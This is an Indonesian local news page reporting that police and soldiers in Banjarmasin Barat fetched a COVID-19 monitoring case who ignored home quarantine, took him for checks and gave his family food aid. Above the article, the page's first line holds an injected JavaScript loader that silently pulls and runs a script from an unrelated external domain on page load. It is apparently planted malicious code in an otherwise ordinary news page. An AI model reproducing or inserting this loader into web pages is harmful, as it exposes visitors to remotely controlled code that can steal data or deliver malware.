(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Jajaran Polsek Banjarmasin Barat bersama personel TNI menjemput AS, warga yang termasuk daftar Orang Dalam Pemantauan (ODP) di Kecamatan Banjarmasin Barat.
Dari informasi yang diperoleh AS sebelumnya diminta Puskesmas Banjarmasin Barat untuk melakukan karantina mandiri di rumah, karena memiliki riwayat perjalanan dari zona merah. Namun hingga saat ini, AS mengabaikan imbauan tersebut. ODP iti terpaksa beraktivitas untuk tetap bekerja dan melakukan aktivitas di luar demi memenuhi kebutuhan hidup sehari-hari keluarganya.
Akhirnya AS dijemput paksa petugas kesehatan untuk memeriksakan kesehatan di RSUD Sultan Suriansyah. Lantaran dari rapid tes yang ia jalani diduga terpapar virus corona dengan kategori ringan.
Kapolsek Banjarmasin Barat Kompol Mars Suryo Kartiko melalui Kanit Binmas Iptu Asmuri mengatakan pihaknya sudah berkoordinasi dengan lurah dan Puskesmas setempat.
“Yang bersangkutan akhirnya kita bawa ke RSUD Sultan Suriansyah untuk kembali diperiksakan kesehatannya dengan memakai APD lengkap,†ucap Iptu Asmuri, Sabtu (11/4/2020) siang.
Setelah dilakukan pemeriksaan, AS kembali diantar kembali oleh Bhabinkamtibmas Polsek Banjarmasin Barat ke rumah dan disarankan untuk melakukan isolasi mandiri. “Hasil pemeriksaan akan keluar sekitar 3 hari ke depan,†tandasnya.
Selama melakukan isolasi mandiri, AS akan diawasi pihak Kelurahan, Satgas Covid-19 Kota Banjarmasin, Polsek Banjarmasin Barat dan Koramil 1007-03/Banjarmasin Barat Tengah. Selain itu, untuk meringankan beban yang dialami keluarga AS, jajaran petugas yang menjemput tersebut juga memberikan bantuan berupa sembako, serta akan melakukan penyemprotan disinfektan di rumah yang bersangkutan.
Sementara itu, saat dihubungi via pesan singkat, Juru Bicara (Jubir) Tim Gugus Tugas Pencegahan, Pengendalian dan Penanganan (P3) Covid-19 Banjarmasin Machli Riyadi menuturkan, warga yang termasuk dalam daftar ODP dapat diusulkan untuk mendapat bantuan dari Dinas Sosial Kota Banjarmasin.
“Warga atau Ketua RT Setempat dapat melaporkan keberadaan ODP tersebut kepada Tim Gugus tingkat kelurahan, yaitu lurah agar bisa diteruskan kepada camat setempat,†ujarnya.
Menurutnya, hasil laporan tersebut akan diserahkan pada Dinsos untuk diberikan bantuan berupa sembako kepada yang bersangkutan. “Kita harap seluruh elemen masyarakat agar berperan aktif dalam memaksimalkan upaya pemutusan rantai penyebaran Covid-19 ini,†pungkasnya. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More
KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More
This website uses cookies.